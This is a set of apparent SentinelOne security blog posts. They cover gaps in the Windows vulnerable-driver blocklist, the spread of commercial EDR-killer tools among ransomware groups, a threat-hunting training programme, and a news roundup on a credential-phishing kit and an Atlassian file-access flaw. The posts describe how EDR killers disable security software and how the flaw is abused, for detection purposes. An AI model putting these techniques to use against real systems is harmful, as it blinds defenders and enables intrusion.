Now the data. Against the LOLDrivers catalog, roughly one-third of catalogued vulnerable driver samples are not covered by the default blocklist. The June 19, 2026 pull puts it at 36 percent. That is 782 of 2,190 samples, absent from the default list. About 22 percent, 479 samples, load even with Hypervisor-Protected Code Integrity (HVCI) enabled.

Call this the Driver Persistence Half-Life, the signature data point of this argument.

Be honest about what that number is. The 36 and 22 percent figures are point estimates from a single computed pull against one blocklist version. The method is published and reproducible: parse the enforced HVCI SiPolicy and the official block rules against the LOLDrivers JSON, match by file hash, then by authenticode metadata, and pin both to a commit and a version.

The caveats matter. The denominator is the LOLDrivers catalog, not every driver that exists. "Not covered" means absent from the default block rules, not exploitable on a given host. Hash coverage is brittle, because an edit to unauthenticated bytes changes the hash without changing the abuse.

The corroboration is real, and it is fewer voices than it looks. The catalog's own coverage metrics report that many LOLDrivers entries sit off the default blocklist, and public threat research corroborates the cadence qualitatively, confirming that systems can be attacked with a driver not yet listed. Two open tools reproduce the check itself, Trail of Bits' HVCI-loldrivers-check and a community block-rules checker, but no genuinely independent second count of the exact figures exists yet.

The lag underneath the number is the real exposure. The default blocklist updates only periodically through Windows Update, roughly once or twice a year, and deliberately holds back some blocks to avoid breaking legitimate software. The minimum disclosure-to-block window is a calendar quarter, and the historical window has run to six months or more. Most of these vulnerable signed drivers are reachable without admin rights, so the exposure is wide and the door is low.

The on-device reality runs worse than the stated cadence. Public reporting documented a Windows 10 driver blocklist frozen at a December 2019 version until an October 2022 fix. That is a roughly three-year gap between the published cadence and what shipped on the machine. A defender reading the cadence would assume quarterly freshness. The endpoint disagreed for three years.

Per case, persistence runs to years. SentinelLABS disclosed Dell's dbutil_2_3.sys flaws in 2021, and the signed-but-vulnerable driver was still disabling security tooling in 2024. SentinelLABS noted that the driver's certificate had not been revoked, leaving it abusable long after disclosure.

The half-life metaphor is precise. The catalog grows faster than the blocklist can absorb it, so the gap widens rather than closes, a long, slow decay that the attacker schedules around.

The method is reproducible against your own fleet. Run the same hash and authenticode match against the drivers that actually load, and the result is a number that describes your real exposure, a measurement you can repeat each quarter. The durable claim stays the honest one: roughly one-third of catalogued vulnerable drivers are not blocked by default. The precise 36 and 22 percent belong to one computed pull, a snapshot with a published method attached.

Blocking Everything Breaks the Business

The obvious fix is to block every old driver. That fix is impractical, and the platform's own documentation says so plainly: the blocklist "isn't guaranteed to block every driver," and blocks are held back precisely to avoid breaking functionality.

Vulnerable drivers are dual-use. Public threat research catalogued how most abused drivers ship as legitimate software components first. The same signed driver that disables an EDR this week was a working hardware utility last week. The blocklist maintainer weighs one confirmed abuse against tens of thousands of working installs. The hold-back is a rational choice under that math, and the exact gap the attacker schedules into.

The reboot gap makes the DIY approach worse. Independent analysis of the blocklist notes that a driver the policy would block keeps running until the next reboot, so an in-progress kill chain survives the moment you activate the policy. The attack surface reduction (ASR) rule that blocks vulnerable signed drivers only stops a driver from being written to disk. It does not block one already present from loading. Defenders who think they have closed the gap have often only narrowed the entry path.

The platform is moving the trust anchor. A Windows security update in April 2026 removes default trust for cross-signed kernel drivers, directly targeting the loophole the timestamp-forgery and pre-2015 exceptions opened. This is the industry bending toward the right target, attacking the reusable signing key itself, which is the correct altitude.

It helps. It does not close the gap. The April change applies to default trust going forward, so the 36 percent that sit off the blocklist today are not retroactively addressed by changing tomorrow's trust rules. The half-life keeps running on the inventory that already exists.

A separate chokepoint also remains in play. Public threat research documented one EDR killer used by multiple ransomware gangs whose coordination point was a shared packer-as-a-service, with no shared driver tying them together. The packer became the chokepoint when the driver did not. That is the pattern to internalize. Each fix narrows one path and exposes the next. Tighten cross-signed trust and the attacker leans harder on forged timestamps. Close the timestamp loophole and they lean on the unsynced backlog. The trust model has many anchors, and the attacker only needs the cheapest one still standing.

This persistence is not an accident of the technique. It is the product of an industry on the other side. SentinelOne's latest Annual Threat Report describes the industrialization of the modern cyber breach, with mature automation accelerating intrusions at scale. A trust gap that one researcher could exploit becomes one that a tooled-up criminal market exploits at volume, which is why the half-life persists across so many drivers at once.

This piece builds on prior work. Independent security research argued that admin-to-kernel is not a serviced security boundary and that blocklists are largely performative. That critique is correct and it stands. The contribution here is a measured persistence half-life, the certificate-concentration evidence behind it, and a trust-anchor reframe detection engineers can act on.

Stop Chasing the List. Instrument the Failure.

The card networks made the stolen number unprofitable by scoring the transaction. Defenders should do the same with signed drivers. Watch the trust event, because the catalog entry arrives too late to matter.

That means instrumenting the load itself. Sysmon Event ID 6 logs every driver load with its hash, signer, signature, and signature status, and any non-Valid status warrants investigation. This telemetry is low-volume and high-value, which makes it cheap to monitor and hard to flood. The Splunk detection content keys on exactly this event, with an explicit note that the alert needs triage rather than blind firing.

Signature-status detection and first-seen anomaly detection catch what blocklist matching misses. Alert on any driver load whose signature status is not Valid, including untrusted root, explicit distrust, and bad or invalid signatures, and on any driver whose hash, signer, or version has never been seen on the host before. Both approaches key on the trust attribute, so the known-bad list never enters the decision and the alert fires whether or not anyone has catalogued the driver yet.

The CodeIntegrity Operational log confirms whether your blocklist policy actually applied. Event ID 3099 confirms the policy is loaded, a blocked load logs Event ID 3077, an audited load logs Event ID 3076, and Event ID 3089 carries the signature detail. Pairing the block events with the audit events proves which drivers the policy stopped, which turns coverage from an assumption into a measurement. Given the three-year staleness the frozen-blocklist case showed, that proof is not optional.

The behavioral chain is observable end to end. A service is created via sc.exe, logged as Sysmon Event ID 1, and a System Event 7045 fires for the service install. A driver loads under Event ID 6, then a device control call (IOCTL) drives termination against protected processes. Public threat research watched one such loop run a repeating, fixed-interval termination cycle in kernel mode, stepping past protected-process defenses (PPL), and recent killers also unregister EDR kernel callbacks as a distinct observable before terminating processes. Picus mapped the same sequence across cases. Each step is a tripwire on the trust event, and none of it depends on prior knowledge of the specific driver.

The order of the chain is what makes it durable. The driver name changes every campaign, but the structure does not. SentinelOne's latest Annual Threat Report makes the same point about the kernel: activity at that layer can blind user-space instrumentation and leave a manual disk scan an unreliable assurance of cleanliness. Detection keyed to that shape survives a recompile, and detection keyed to a hash does not.

The mental shift is the point. A driver list is a finite answer to an infinite problem, and the trust anchor is small, addressable, and already moving. SentinelLABS research has lived at that anchor for years. The team co-discovered the POORTRY and STONESTOP WHQL-signed toolkit that drove the security advisory ADV220005, and proposed Authenticode-metadata blocklisting before that was standard practice.

Defenders are not behind because the list is incomplete. They are behind because they were grading the wrong exam. Score the trust event, and the half-life stops being the attacker's advantage.

Why This Is the Work SentinelOne Exists To Do

Scoring the trust event instead of chasing the list is the whole argument, and it is the argument SentinelOne was built to win. The platform watches the load itself, the untrusted signature, the first-seen driver, and the masquerading kernel service, from a vantage designed to keep reporting when the kernel turns hostile. Purple AI® carries that telemetry forward. Its Agentic Investigation capability reasons over the trust event the moment it fires, builds the timeline, and renders a verdict in minutes and seconds rather than hours and days. The propagation gap the attacker lives inside narrows when the verdict arrives at machine speed.

A control you have not confirmed is running is a control you are only hoping for, and most teams cannot staff that verification around the clock. Wayfinder, SentinelOne's managed detection and response practice, holds the line when your own team is asleep, fusing human threat hunting with the platform's autonomous investigation and Google threat intelligence. That is the reason the company exists. The trust anchor is small and addressable, and the advantage goes to the defender who instruments it.

Next in this series: The practical hunts themselves, the four distinct techniques hiding inside the phrase EDR killer, and the telemetry that catches each one.

External References

1. EDR killer abuses a vulnerable forensic driver, Help Net Security. February 5, 2026.
2. LOLDrivers security metrics. loldrivers.io (MagicSword), Pull cited as June 19, 2026.
3. HVCI-loldrivers-check, Trail of Bits (GitHub: trailofbits/HVCI-loldrivers-check).
4. loldrivers-database, Community project (GitHub: didntchooseaname/loldrivers-database).
5. New EDR killer tool used by eight different ransomware groups, BleepingComputer. August 6, 2025.
6. EDR Killer Threat Advisory (AD-2025-018), Cyber Security Agency of Singapore. 2025.
7. Sysmon driver-loading (Event ID 6), TrustedSec Sysmon Community Guide.
8. Windows Vulnerable Driver Loaded, Splunk Security Content. 2026.
9. Windows Drivers Loaded by Signature, Splunk Security Content. 2026.
10. Qilin EDR Killer infection chain, SOC Prime. April 7, 2026.

IP Disclaimer:

This blog may include discussion of unreleased services or features. Any unreleased services or features referenced here are still in development and subject to change. Customers should make their purchase decisions based upon features that are currently available.

Bring your own vulnerable driver (BYOVD) is having a moment in endpoint security. Some of the buzz is earned. Some of it is overblown. This series unpacks both and shows the evidence for each. This piece traces how the technique scaled into an industry.

Ransomware actors successfully disabled security tools in about 48% of intrusions in 2024. That figure comes from security researchers, drawn from incident-response engagements across the year. Attackers attempted to blind the defender in most of those cases. They almost always succeeded. Turning off the sensor was once a flourish. It is now a default move.

That 48% is the broad rate for disabling security tools by any method. BYOVD is the kernel-level technique this series tracks, one fast-growing method inside that number, and public threat research treats it as the part of the tamper problem accelerating fastest. Treat the 48% as the ceiling and the BYOVD slice as the piece that scaled into a market.

The Claim: This Became a Supply Chain

EDR killing industrialized over the last several years. SentinelOne®'s latest Annual Threat Report, "Defending Against the Industrialization of the Modern Cyber Breach," names that shift directly, with mature automation accelerating intrusions and tradecraft moving from one-off effort to maintained capability. A killer was once a binary an intruder wrote and discarded. Today it is a serviced capability, built, versioned, and bundled into ransomware-as-a-service for affiliates who never touch a debugger. The defender once faced a hobbyist. Now the defender faces a development pipeline.

A pipeline behaves differently from a one-off binary. It ships versions, fixes bugs, and reuses code across releases. The defender reads that cadence like a vendor roadmap, and every release leaves the same observable footprint when it runs. The reuse is visible in the architecture. Public threat reporting describes one current framework spinning eight-plus variants off a single shared design. That also means a detection tuned to one variant often catches its siblings. Code reuse cuts both ways, and the defender holds one of the edges.

The Proof: A Four-Year Timeline

Start at the floor. Public threat research documented an early Process Explorer-driver killer in 2023, used to disable EDR ahead of Medusa Locker and LockBit. The same year, SentinelLABS tracked an actor called "Spyboy" selling the Terminator killer. The price ran from $300 for a single AV bypass to $3,000 for the all-in-one EDR killer, and the tool abused Zemana drivers. These were early-window artifacts. They were standalone, sold, and disposable.

That timeline has a SentinelLABS anchor that reframes the whole story. SentinelLABS attributed the AvNeutralizer killer, also known as AuKill, to the FIN7 cybercrime group. FIN7 sold it on Russian-language forums at prices running from $4,000 to $15,000. The tool abused a Time Travel Debugging driver and the Process Explorer driver to disable defenses. This is the moment a killer stopped being a one-off and became a product with a price list.

The adoption pattern proves the product framing. SentinelLABS tracked AvNeutralizer spreading into Black Basta, AvosLocker, MedusaLocker, BlackCat, Trigona, and LockBit operations. One group built it, and six competing crews ran it. A single tool crossing that many rivals is the signature of a supplier, and the new feature was distribution.

Then the model changed inside ransomware-as-a-service. In August 2024, public reporting disclosed EDRKillShifter, abusing the RentDrv2 and ThreatFireMonitor drivers and first seen in a RansomHub attack. Researchers assessed with moderate confidence that the tool served multiple attackers, not RansomHub alone. The SentinelOne RansomHub anthology records the affiliate logic behind that spread, a customized EDR-killer tool made available to higher-level affiliates. One crew's tool became many crews' tool, and the new feature was tiered access.

The driver roster widened fast across 2025. In early 2025, public threat research documented a malicious driver that carried stolen, revoked certificates and imitated a legitimate EDR driver to silence defenses inside Medusa intrusions. By August 2025, GuidePoint tracked Akira affiliates in SonicWall VPN intrusions chaining a ThrottleStop driver, rwdrv.sys, with a malicious helper, hlpdrv.sys, to disable the built-in Windows antivirus. Different crews, different drivers, the same kernel-level objective. SentinelOne's latest Annual Threat Report records the same pattern from the other side of the kill, naming crews that script the built-in Windows antivirus into silence and kernel-mode drivers derived from POORTRY used to terminate EDR processes and delete security files.

The CVE-anchored cases arrived next. In December 2025, security researchers documented DeadLock ransomware abusing the Baidu antivirus driver BdApiUtil, tracked as CVE-2024-51324, to terminate EDR and the built-in Windows antivirus. In February 2026, public reporting documented Reynolds ransomware embedding the vulnerable NSecsoft driver NSecKrnl, tracked as CVE-2025-68947, which terminated more than 30 security processes. Those CVE records do not name the ransomware, and the actor mapping comes from threat intel. The same NSecKrnl driver shows up across unrelated crews, tied to Reynolds and to Warlock. A driver is shared infrastructure, so pivoting on the driver hash groups campaigns by supplier, not by gang.

By 2025 the sharing went structural. Threat-intel reporting found one EDR killer used across several competing ransomware families, distributed as distinct per-attack packed builds, and Singapore's national cyber agency corroborated the same multi-group pattern in an August 2025 advisory, independent of any single vendor. Public threat research also catalogued a forming marketplace of named killers priced from hundreds to thousands of dollars. Rivals were now buying from a common counter.

The 2026 picture is operator-run kits with large affiliate cuts. Public threat reporting documented the Gentlemen RaaS shipping its in-house EDR killer framework, running eight-plus BYOVD variants and targeting over 400 processes across 48 security products through DeviceIoControl calls. The operator reportedly hands affiliates around a 90% revenue share, a 10% operator cut against a 20% industry standard, and bundles third-party killers like HexKiller and ThrottleBlood. By April 2026, researchers saw Qilin and Warlock at the same game, Qilin chaining the rwdrv.sys and hlpdrv.sys pair while Warlock ran NSecKrnl. Public threat research now reads EDR killers as a standard, repeatable phase of the attack playbook. SentinelOne's latest Annual Threat Report measured how far the response window has collapsed, with one chained sequence reaching SYSTEM in roughly 30 milliseconds and a separate intrusion moving from initial download to a persistent service in 49 seconds.

The Turn: Acceleration Over Origination

Here is the correction the timeline forces. Commercial sale of EDR killers predates the 2024 window. SentinelLABS had Terminator on the market in 2023 and dated FIN7's AvNeutralizer sales earlier still. ExtraHop tracked a dark-web market for these tools across 2024 and 2025. Older still, the open-source EDRSandblast project weaponized a vulnerable driver against more than 1,000 security drivers back in 2022. The raw capability was for sale before the surge.

So the real story is acceleration and consolidation. The non-obvious shift is that rival ransomware crews stopped competing on this layer and started sharing it instead. Several groups feeding from one killer is a market choosing a common supplier. The cost of building beats the cost of buying.

The economics pulled the skill floor down. Reynolds ransomware bundled a vulnerable driver as a recruiting selling point aimed at less-skilled operators, and a capability that once required a kernel developer now requires a subscription. The driver is the part most likely to fail in unskilled hands, so researchers documented a practice they call driver decoupling. Affiliates install the vulnerable driver and confirm it loads before running the killer. That is the kind of guardrail a supplier adds to keep low-skill customers successful, packaging doing the work the operator used to do by hand.

What Makes Consolidation Possible

Markets need shared infrastructure, and this one has it. The shared killer that reporting tracked was one tool reissued as distinct packed builds for each attack, with the packer as the common chokepoint several rivals fed through. Singapore's advisory described the same customized-build distribution model, a single supplier serving many buyers.

The driver supply explains why it scales. Public reference lists now track thousands of vulnerable signed drivers, most reachable without admin rights. The live LOLDrivers catalogue alone records hundreds of unique drivers, a large share still missing from the default driver blocklist. That inventory reads as a parts catalog for the kit builder, a dual-use commodity supply where weak driver access controls hand unprivileged users a way in.

The price ladder runs from the low hundreds for Terminator to five figures for FIN7's AvNeutralizer, both tracked by SentinelLABS, while EDRKillShifter spread through tiered affiliate access rather than a flat price. The skill floor drops in step. EDRSandblast showed the open-source baseline back in 2022, already capable against more than 1,000 security drivers, and a buyer in 2026 does not need that depth. The operator maintains the tool and the affiliate just runs it, so each layer of packaging removes a reason an attacker would have failed. A working tool spreads fast once the price of entry drops to a download.

The Payoff: A Top-Tier Threat Getting Cheaper

Put the pieces together and the threat ranking is clear. Disabling defense is attempted in most ransomware intrusions and succeeds in roughly half. The tooling that does it is now maintained, shared across rivals, and sold with affiliate economics that reward volume. Each force lowers cost and widens reach at once. This is a structural threat, and it is getting cheaper to run.

Defenders set the response, and the response is not despair. Public threat research shows BYOVD remains the dominant kill method, and that dominance means the kill chain stays observable. The killer still has to act in a fixed sequence. It installs a driver, registers a kernel service, and issues the calls that terminate the sensor. Those steps leave telemetry behind them.

The defender should still hold the technique apart from its cousins. BYOVD is one entry in a tamper taxonomy. A driverless class is smaller but growing, and it skips the driver-install step entirely. EDR-Freeze suspends the sensor through a Windows error-reporting race, staying fully in user mode. EDRSilencer uses Windows filtering rules to block the sensor's telemetry from leaving the host. Those two break the driver-load observable, so a detection built only around driver loads will miss them.

Prevention narrows the window without closing it, which is exactly why behavioral observables carry weight. The sequence is concrete enough to map to event IDs. Picus Security described the early steps of the BYOVD chain as logged events. A service created with sc.exe surfaces as a Sysmon process-create record (Event ID 1) and a System service-install event (Event ID 7045). The driver load surfaces as a Sysmon driver-load record (Event ID 6). The killer then issues its DeviceIoControl call, followed by callback removal and security-process termination. Each arrow in that chain is a place to correlate and alert.

The behavior inside that chain is even more specific. Public threat research documented a kill loop where a masquerading kernel service enumerates running processes on a repeating, fixed-interval cycle. It passes the process IDs through an IOCTL so the driver calls the kernel termination routine directly, bypassing the protected-process protections that guard the sensor. The repeating rekill cadence is itself a signal, because a normal service does not poll the process list and terminate from kernel mode on a loop.

Callback removal deserves its own hunt, separate from the kill. SOC Prime documented Qilin loading rwdrv.sys for raw memory read and write, then loading hlpdrv.sys to remove the EDR's registered kernel callbacks across more than 300 products. Stripping callbacks blinds the sensor without terminating its process. The process still runs and still reports healthy. The defender who only watches for a killed process misses this entirely.

The masquerade is its own tell. Frameworks ship variants that each impersonate a legitimate product to blend into a normal driver inventory, and one documented driver carried stolen, revoked certificates to imitate a real EDR driver. The defender's answer is to treat the signer and the first-seen status as data. Splunk detection content keys on any driver load whose signature status is not Valid. Alert on a driver whose hash, signer, or version has never appeared on the host before.

The witnesses also outlast the endpoint. Once the sensor is silenced, network, identity, and cloud telemetry are what remain, and independent analysis found EDR-killer execution preceding ransomware across multiple gangs, a window enough to intervene before encryption. Singapore's national cyber agency framed EDR-killer activity as huntable through driver-load monitoring, termination patterns, and telemetry cessation. An agent's health drop, a lost heartbeat, or a gap in a constant feed all read as tamper, so alert on the absence of expected signal. A high-fidelity variant is System Event ID 7031, the service-crash log Windows writes when a kill abruptly terminates a security service. It is rare in a healthy environment, which makes it a strong candidate for a tight, low-false-positive alert.

The mental shift for the practitioner is this. Stop modeling the EDR killer as an exotic, once-a-year event and start modeling it as supply. A supplied capability has a pipeline, a release cadence, and paying customers, and every one of those is a place to detect, disrupt, and raise cost. SentinelOne builds for that fight. SentinelLABS co-discovered the POORTRY and STONESTOP signed-driver toolkit and drove the security advisory ADV220005 that followed. SentinelOne then shipped Local Upgrade Authorization on by default for new customers to blunt the tamper bypass. The purpose behind that work is to give the advantage to those who secure our future. The industry built a market for killing your sensor. The defender's job is to make that market expensive.

Why This Is The Work SentinelOne Exists To Do

Read the timeline and the conclusion is plain. You do not out-hustle a development pipeline with manual triage. You answer it with a pipeline of your own. SentinelOne built the Singularity™ Platform on Autonomous Security Intelligence (ASI) for this exact asymmetry, so the response runs at the speed the supply chain ships. Purple AI® is the reasoning interface for that platform, and its Agentic Investigation capability launches the moment a threat crosses the line, detecting, investigating, verifying, and responding without waiting for an analyst to wake up. The capability does not displace the human. Wayfinder, SentinelOne's 24/7 managed detection and response practice, puts seasoned threat hunters on top of that autonomous layer, with managed response and an incident-readiness retainer when the worst happens. The killer industrialized. The defense industrialized with it.

Next in this series: the trust gap underneath every one of these drivers, and why a certificate revoked sixteen years ago still loads code into the Windows kernel today.

External References

1. "EDR killers are now a thing, and ransomware crews love them," The Register, 14 August 2025.
2. "RansomHub gang deploys new tool to kill EDR software," Security Affairs, August 2024.
3. "GRIT Report: Akira and SonicWall," GuidePoint Security, 5 August 2025.
4. "Event ID 7031: Service crash," ManageEngine EventLog knowledge base.
5. "CVE-2024-51324," National Vulnerability Database.
6. "Reynolds ransomware uses BYOVD to disable security before encryption," Security Affairs.
7. "CVE-2025-68947," National Vulnerability Database.
8. "Advisory AD-2025-018," Cyber Security Agency of Singapore, 16 August 2025.
9. "The Gentlemen RaaS uses GentleKiller," The Hacker News, June 2026.
10. "Inside GentleKiller: the EDR killer powering the Gentlemen," Security Affairs.
11. "Gentlemen Ransomware Gang Standardizes EDR Killing," BankInfoSecurity.
12. "The Dark Web Market for EDR Killers," ExtraHop, 2024.
13. "EDRSandblast," Wavestone CDT, GitHub.
14. "EDRSilencer," netero1010, GitHub.
15. "EDRSilencer red team tool used in attacks to bypass security," BleepingComputer, 15 October 2024.
16. "New EDR-Freeze tool uses Windows WER to suspend security software," BleepingComputer, 22 September 2025.
17. "What Are Bring Your Own Vulnerable Driver (BYOVD) Attacks," Picus Security, 2026.
18. "Qilin EDR killer infection chain," SOC Prime, 7 April 2026.
19. "Windows Drivers Loaded by Signature," Splunk research.
20. "Windows Vulnerable Driver Loaded," Splunk research.
21. "loldrivers.io," live vulnerable-driver reference list, accessed 26 June 2026.

IP Disclaimer:

This blog may include discussion of unreleased services or features. Any unreleased services or features referenced here are still in development and subject to change. Customers should make their purchase decisions based upon features that are currently available.

For five years, SentinelOne™’s ThreatOps has inspired a global defender movement. What began in 2020 as a threat hunting webinar has grown into an industrial-scale gamified platform that has trained over 19,000 blue teamers, influenced over $661 million in closed-won revenue (September 2023–September 2026), and spawned the Sentinels League Threat Hunting World Championship.

As we mark five years of ThreatOps innovation, defenders worldwide are gearing up for the ultimate showcase: the Sentinels League Grand Final, hosted live on stage at OneCon 2026 in Las Vegas from October 20–22, 2026.

The Evolution of ThreatOps

The origin of ThreatOps dates back to April 2020, when Solutions Engineer (SE) Director Ryan Merrick launched a two-hour threat hunting webinar covering MITRE ATT&CK concepts, indicators of compromise (IOCs), and the distinction between hunting and searching. While educational, the team recognized that defenders needed hands-on experience interacting with real product telemetry.

In May of 2020, SE Joseph Poyner sketched a vision in a team chat channel: standing up a Capture the Flag (CTF) game that would walk players through the product, requiring them to search deep visibility telemetry for malicious process connections to find hidden flags. 

With the support and guidance of SE leaders Tommy Hui, Dave Gold, Keith Weisman, and Jared Phipps, the team secured a dedicated CTF line item in the FY21 budget, turning a side project into an official initiative. That initial sketch defined the exact game format ThreatOps still runs today. By August 2020, the team had stood up a dedicated console and created a parallel ransomware workshop track. 

The first live game ran in October 2020 for SentinelOne's product management team, followed by the first customer workshop in EMEA. Rapid scaling and industrialization soon followed:

• Public Challenges and Accreditation (2021): In March 2021, ThreatOps launched its first public challenge featuring cash prizes, expanding across named accounts, partner channels, and UK regional teams.
• Industrialization & Platform (2022): PJ Norris built a game-creator program to train SEs globally while securing CPE accreditation. At the same time, Brian Martin created a platform to automate game provisioning, data replays, and self-service registration. This new platform reduced workshop setup times from two days to under five minutes.
• Hackathon (2023) & Content Editor: In September 2023, the team met for the first ThreatOps Hackathon in Detroit, Michigan, where SEs spent a week building content, including the new Purple AI game (featuring GLaDOS). Shortly thereafter, Ryan O’Grady built a new game editor that streamlined the process for creating and publishing new game content.
• Multi-Surface & AI Expansion (2024–2025): The program expanded into every surface SentinelOne ships, including a new SDL Deep Dive game, Cloud Security, the Need for Speed-themed Hyperautomation game featuring live API interactions, and the Data Pipelines games. These games were made possible by collaboration with SE champions, including John Pease and Marco Rottigni.

Through continuous craft and automation, ThreatOps transformed threat hunting from a manual class into an enterprise-grade operational standard.

Enterprise Protection and $661M+ Revenue

The impact of ThreatOps shows up in two places: the number of defenders it has trained and the revenue it has influenced.

Empowering 19,000+ Global Defenders

What started as an internal workshop has grown into a massive global educational engine. Between September 2023 to September 2026, ThreatOps has built and deployed 5,215 game instances across 9 unique game types, generating a total of 27,899 player seats and reaching 19,211 unique players across 5,869 email domains.

The program's core audience is overwhelmingly enterprise-focused, with 87.4% corporate participation representing over 16,700 unique corporate defenders. Practitioners from world-class organizations regularly refine their skills in ThreatOps competitions, including teams from Orange and Orange Cyberdefense, Exclusive Networks, Cloud4C, GoDaddy and many more. This global footprint is sustained by an active internal community of 407 game owners.

$661.8M+ Closed-Won Revenue Influence

Beyond skill development, interactive threat hunting has become one of SentinelOne's most potent catalysts for customer acquisition and technical evaluation. Our analysis reveals that ThreatOps engagements have influenced $661.8 million in closed-won revenue across 6,435 deals and 1,538 corporate accounts (Sept 2023–Sept 2026).

The data points to a clear correlation between ThreatOps participation and commercial success. Opportunities where prospective accounts engaged in a ThreatOps game saw a 3.7x higher mean deal value, averaging $103,000 per closed-won deal compared to $28,000 for non-participating accounts. 

This commercial lift is driven by strategic timing: 80.4% of games execute mid-cycle while sales opportunities are actively open, serving as a decisive technical proof point during active Proof of Concept (POC) and Proof of Value (POV) evaluations.

The Sentinels League World Championship

In August 2025, Steve Regini, SVP of Global Solutions Engineering, and theater leadership (Keith Weisman, Amit Sabharwal, Lloyd Webb, and Wayne Phillips) approved turning ThreatOps’ game cadence into a global tournament: the Sentinels League Threat Hunting World Championship.

Presented in partnership with Dropzone AI, Google Cloud, and Mimecast, the Sentinels League features a $100,000 prize pool. Defenders compete across four critical attack surfaces in 30-minute CTF qualifiers: Endpoint, Cloud, AI Security, and Autonomous SOC. Prizes are awarded at every stage: qualifier winners earn cash, regional semifinal winners take home $3,000 and a trip to the Grand Final, other semifinal placers are rewarded too, and the top three finishers in the Grand Final all win prizes.

• Season 1 (2025): At OneCon 2025 in Las Vegas, Derek Render of ProCircular was crowned the first Threat Hunting World Champion, alongside runners-up Arnau Osso (T-Systems) and Ethan Chew (Intfinity).
• Season 2 (2026): Season 2 expanded to 49 qualifiers worldwide. It was led by Ryan O’Grady (Director of SE Operations) and Andy Wool (Senior Marketing Manager), with major contributions from PJ Norris (Lead Technical Enablement Manager) and Michael Logan (Senior Solutions Engineer).

Catch the Grand Final Live at OneCon 2026 in Las Vegas!

After months of regional competition, three elite regional champions have earned an all-expenses-paid trip to Las Vegas for the Grand Final:

• John Paul Lonie, aka “grumpycat” (Iress)
• Jodie McDonald, aka “jodie” (LevelBlue)
• Jason Walker, aka “tresscross” (Five9)

These three finalists, each of whom has already won $3,000 as a regional winner, will compete live on stage at OneCon 2026 for the $5,000 grand prize, the World Champion trophy, and a matching charitable donation made through the S Foundation.

Experience OneCon 2026: October 20–22, 2026

OneCon 2026 is SentinelOne's premier annual cybersecurity conference in Las Vegas. Beyond witnessing the Grand Final live, attendees will experience:

• Visionary Keynotes: Exploring AI-driven defense and autonomous cybersecurity.
• The OneCon Expo: Live technology demos and direct interaction with SentinelOne experts.
• Special Advisory Panels: Exclusive Customer and Partner Advisory Board sessions featuring unfiltered industry insights.
• OneCon After Dark: Evening networking at Jason Aldean's Kitchen + Bar featuring live music, dinner, and drinks.

Register Today!

Five years after a single wild idea, ThreatOps has elevated threat hunting for tens of thousands of defenders worldwide. Be there live in Las Vegas when the 2026 World Champion is crowned! Visit onecon.io to explore the full agenda.

The Good | Federal Authorities Disrupt Cybercrime Syndicates & Courts Sentence Dark Web Co-Founder

Jordanian authorities detained Saif al-Din Khader, a suspected member of the ShinyHunters extortion group. Following his arrest, sources report that Khader (aka Rey) has been cooperating with the FBI and international agencies to identify and locate the remaining co-conspirators, leveraging his digital devices and communication logs. 

The reported detention follows an ongoing federal investigation on ShinyHunters’ self-claimed breach of the FBI’s administrative systems.

A federal court indicted Zohar Pinhasi for allegedly defrauding cybercrime victims that had hired his ransomware remediation company, MonsterCloud. MonsterCloud advertised the use of proprietary technology to restore encrypted files without paying ransoms. However, court filings allege Pinhasi routinely paid ransomware operators directly for decryption keys before billing clients inflated fees. 

Prosecutors claim that the scheme facilitated over $8 million in secret ransom payments while generating $19 million in revenue over five years. If convicted, Pinhasi stands to face up to 20 years in prison for one count of conspiracy to commit wire fraud and two counts of wire fraud.

A U.S. District Judge sentenced Raheim Hamilton to 40 years in prison for co-creating and operating Empire Market, one of the largest dark web marketplaces prior to its shutdown. Operating online as “Sydney” and “ZeroAngel”, Hamilton facilitated over four million transactions valued at $430 million between 2018 and 2020. 

Empire Market evaded detection by only accepting cryptocurrency payments while employing tumblers and mixers to obscure all transaction trails. Drug sales accounted for nearly $375 million of total volume, alongside stolen credentials, personally identifiable information (PII), and hacking tools. On top of the jail time, Hamilton has also agreed to forfeit three properties, 1,230 Bitcoin, and 24.4 Ether and must pay a $5 million fine. 

The Bad | Human Phishers Impersonate AI Ad Portals to Intercept Credentials and MFA Codes 

Researchers uncovered a human-operated phishing platform impersonating advertising management portals for popular AI chatbots, including ChatGPT, Gemini, Claude, Perplexity, Meta Muse, and Manus. While each brand had tailored lures, the main goal was to get victims to enter their credentials and multi-factor authentication (MFA) codes using spoofed login windows.

The operators offered up specialized “campaign optimization” capabilities such as spend audits, campaign planning, and business-account connections to target advertising agency staff, media buyers, and account administrators. Promoted through fake invitation emails, the campaign leveraged realistic landing pages such as museads[.]ai to entice unsuspecting users into connecting their enterprise accounts.

When a victim initiates the connection workflow, the platform executes a Browser-in-the-Browser (BitB) attack by rendering a fake browser window complete with a spoofed address bar pointing to trusted origins like accounts.google.com or Okta tenants. Behind the spoofed interface, the platform logs password attempts and transmits device fingerprints to attacker servers using Socket.IO connections. 

Then, a human operator actively monitors victim interactions in real time, issuing commands via Socket.IO events to steer users through specific MFA challenges, including SMS codes, authenticator app prompts, push approvals, and number-matching screens.

Built on a Next.js and Socket.IO technology stack, the underlying platform shares infrastructure across payment refund and corporate recruitment phishing schemes. One backend domain appeared in 73 archived scans across 25 page domains between late May and late June, serving AI ad lures, refund pages, and a fake careers site alike. Hundreds of victim submissions were also observed over the course of tracking the campaign, with activity ongoing at publication.

By hijacking legitimate manager accounts with clean spending histories, threat actors run unauthorized advertising campaigns or sell access on Telegram. Account recovery often takes weeks or months while compromised accounts continue serving malicious ads, extending financial damage across agency client bases. 

The Ugly | Threat Actors Target Atlassian Data Center Flaw Within Hours of Public POC

Threat actors are actively exploiting a critical (CVSS: 9.3) arbitrary file access vulnerability affecting Atlassian Data Center products within just two hours of a public proof-of-concept (PoC) being published. Tracked as CVE-2026-21589, the flaw impacts multiple enterprise applications, including Bitbucket Data Center, Confluence Data Center, Jira Software Data Center, Jira Service Management Data Center, Bamboo Data Center, Crowd Data Center, Crucible, and Fisheye. 

The vulnerability allows unauthenticated attackers to retrieve specific files within the web application root directory through a single, tailored HTTP request. This stems from Atlassian's web-resource path resolution logic, which improperly converts custom path traversal sequences into relative directory paths. 

By combining these traversal sequences with specific plugin endpoints, unauthenticated attackers can bypass path restrictions and access restricted application files. While the vulnerability does not allow directory enumeration and requires prior knowledge of exact file names and paths, sensitive configuration files are still exposed. 

In systems like Atlassian Crowd and Jira, attackers could target configuration files storing administrative credentials, allowing them to gain unauthorized privilege elevation, create rogue administrative accounts, and modify user permissions.

